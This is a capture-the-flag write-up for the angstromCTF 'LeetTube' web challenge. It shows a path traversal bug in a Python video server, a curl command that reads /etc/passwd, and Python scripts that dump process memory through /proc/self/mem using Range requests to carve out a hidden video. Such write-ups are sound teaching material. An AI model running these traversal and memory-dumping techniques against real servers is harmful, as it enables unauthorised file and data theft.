LeetTube [web]

LeetTube

I developed a new video streaming service just for hackers. Learn all about viruses, IP addresses, and more on LeetTube! Here's the source code and the Dockerfile. Note: the server is also running behind NGINX.

Recon

We're given the source for a Python web application using HTTPServer, a very basic WSGI / web framework.

First part of the script seems to read videos and store it into a variable called videos.

videos = []
for file in os.listdir('videos'):
    os.chmod('videos/'+file, 0o600)
    videos.append({'title': file.split('.')[0], 'path': 'videos/'+file, 'content': open('videos/'+file, 'rb').read()})
published = []
for video in videos:
    if video['title'].startswith('UNPUBLISHED'): os.chmod(video['path'], 0) # make sure you can't just guess the filename
    else: published.append(video)

We assume that "UNPUBLISHED" videos may contain a flag, as the web application do not expose them. They do get read into the videos variable however.

LFI

class RequestHandler(BaseHTTPRequestHandler):
  def do_GET(self):
    try:
      self.path = urllib.parse.unquote(self.path)
      if self.path.startswith('/videos/'):
        file = os.path.abspath('.'+self.path)
        try: video = open(file, 'rb', 0)
        except OSError:
          self.send_response(404)

This piece of code is vulnerable to a LFI, as we can break os.path.abspath:

>>> os.path.abspath("." + "/videos/e?f=../../../../../../../etc/passwd")
'/etc/passwd'

Against the remote challenge server:

curl --path-as-is \
  "https://leettube.2020.chall.actf.co/videos/e?f=../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[...]

Reading memory

Since we can't guess the filename of the secret flag video, we decided to read process memory via /self/proc/maps

The Python webserver actually supports Range requests, meaning, we can specify a read offset/length for our LFI. That code can be found here:

reqrange = self.headers.get('Range', 'bytes 0-')
ranges = list(int(i) for i in reqrange[6:].split('-') if i)
if len(ranges) == 1: ranges.append(ranges[0]+65536)
try:
    video.seek(ranges[0])
    content = video.read(ranges[1]-ranges[0]+1)
except:
    self.send_response(404)
    self.end_headers()
    return
self.send_response(206)
self.send_header('Accept-Ranges', 'bytes')
self.send_header('Content-Type', 'video/mp4')
self.send_header('Content-Range',
  'bytes '+str(ranges[0])+'-'+str(ranges[0]+len(content)-1)+'/'+str(os.path.getsize(file)))

Sample output from fetching /self/proc/maps:

557452058000-557452059000 r--p 00000000 ca:01 9231839                    /usr/local/bin/python3
557452059000-55745205a000 r-xp 00001000 ca:01 9231839                    /usr/local/bin/python3
55745205a000-55745205b000 r--p 00002000 ca:01 9231839                    /usr/local/bin/python3
55745205b000-55745205c000 r--p 00002000 ca:01 9231839                    /usr/local/bin/python3
55745205c000-55745205d000 rw-p 00003000 ca:01 9231839                    /usr/local/bin/python3
557453f48000-557455808000 rw-p 00000000 00:00 0                          [heap]
7f4c37c4b000-7f4c37c4f000 r--p 00000000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f4c37c4f000-7f4c37c5c000 r-xp 00004000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f4c37c5c000-7f4c37c60000 r--p 00011000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
[...]

We create a script to specifically fetch memory heap:

import re
import requests


URL = "https://leettube.2020.chall.actf.co"

resp = requests.get(URL+"/videos/e?f=../../../../../../proc/self/maps")
content = resp.content.decode()
for line in content.split("\n"):
    if "heap" not in line:
        continue

    m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) (rw-p)', line)
    if m.group(3) == 'rw-p':
        start = int(m.group(1), 16)
        end = int(m.group(2), 16)

        headers = {"Range": f"bytes {start}-{end}"}

        url = URL+"/videos/e?f=../../../../../../proc/self/mem"
        with requests.get(url, headers=headers, stream=True) as r:
            with open("heap", 'wb') as f:
                for chunk in r.iter_content(chunk_size=8192):
                    if chunk:
                        f.write(chunk)

Foremost can detect some video files in the heap dump:

Num  Name (bs=512)         Size  File Offset     Comment 

0:  00021193.mov         569 KB        10851256      
1:  00022337.mov         464 KB        11436984      
2:  00023273.mov           1 MB        11916216 

But foremost does not carve out the video files correctly. We'll carve them out ourselves by looking for the ftyp mp4 header;

To re-iterate, the script below will:

  1. Fetch /proc/self/maps from the challenge server
  2. Determine the address for the heap
  3. Fetch writable memory region(s) (heap)
  4. Look for mp4 header(s) in the resulting process dump(s)
  5. Write mp4 files to current directory
import re
import requests


URL = "https://leettube.2020.chall.actf.co"
data = bytearray()

resp = requests.get(URL + "/videos/?../../../../../proc/self/maps")
content = resp.content.decode()

for line in content.split("\n"):
    # match readable regions
    m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) (rw-p)", line)
    if not m or m.group(3) != "rw-p":
        continue

    start = int(m.group(1), 16)
    end = int(m.group(2), 16)

    headers = {"Range": f"bytes {start}-{end}"}
    with requests.get(URL + "/videos/?../../../../../proc/self/mem", 
                      headers=headers, stream=True) as r:
        for chunk in r.iter_content(chunk_size=8192):
            data.extend(chunk)

i = 0
while b"ftyp" in data:
    x = data.index(b"ftyp") - 4
    data = data[x:]
    with open(f"{i}.mp4", "wb") as f:
        f.write(data)
    i += 1
    data = data[x + 8 :]

We play the resulting mp4 video files and get our flag.

Flag

actf{1337tube?_more_like_l34ktube}